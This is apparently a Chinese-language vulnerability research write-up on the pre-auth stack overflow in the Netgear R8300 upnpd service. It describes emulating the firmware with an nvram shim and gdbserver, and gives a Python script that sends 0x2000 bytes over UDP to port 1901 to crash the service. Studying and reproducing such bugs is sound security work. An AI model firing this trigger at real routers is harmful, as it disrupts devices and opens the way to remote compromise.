Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现

Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现

漏洞在usr/sbin/upnpd这个文件中

启动这个文件会遇到很多问题

image-20260412184909294

这个文件缺少nvram

需要手动编译

https://toolchains.bootlin.com/

从这个网址下gcc:下ulibc版本

raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

这里下nvram.so的实现,

1
armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

编译后

1
LD_PRELOAD="/nvram.so" /usr/sbin/upnpd

image-20260412185123117

缺少这个符号

grep -r查找有这个符合的文件,然后

1
LD_PRELOAD="/lib/libdl.so.0 /nvram.so" /usr/sbin/upnpd

即可运行

还需补一个配置文件

在/tmp/nvram.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
upnpd_debug_level=9
lan_ipaddr=10.0.12.15
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

然后这个如果是用户级模拟,ps -ef看不到进程,gdbserver attach不到

需要系统模拟,然后ssh连上看进程号,gdbserver attach

启动脚本要留出端口映射 gdbserver的端口(1234),udp 链接的端口(1901:1900),ssh的端口(-p 2222),

1
ssh -p 2222 root@127.0.0.1

然后正常调试即可

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
import socket
import sys


def main() -> int:
host = sys.argv[1] if len(sys.argv) > 1 else "0.0.0.0"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 1901
payload = b"a" * 0x2000

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sent = sock.sendto(payload, (host, port))
sock.close()

print(f"sent {sent} bytes to {host}:{port}")
return 0


if __name__ == "__main__":
raise SystemExit(main())

这个脚本需要用0.0.0.0,127.0.0.1 发送不到

二进制程序方面

main-> sub_1D020(v13);

recvfrom限制0x1fff

image-20260412194919571

image-20260412194944218

buf copy到buf-, buf-离bp近可以造成栈溢出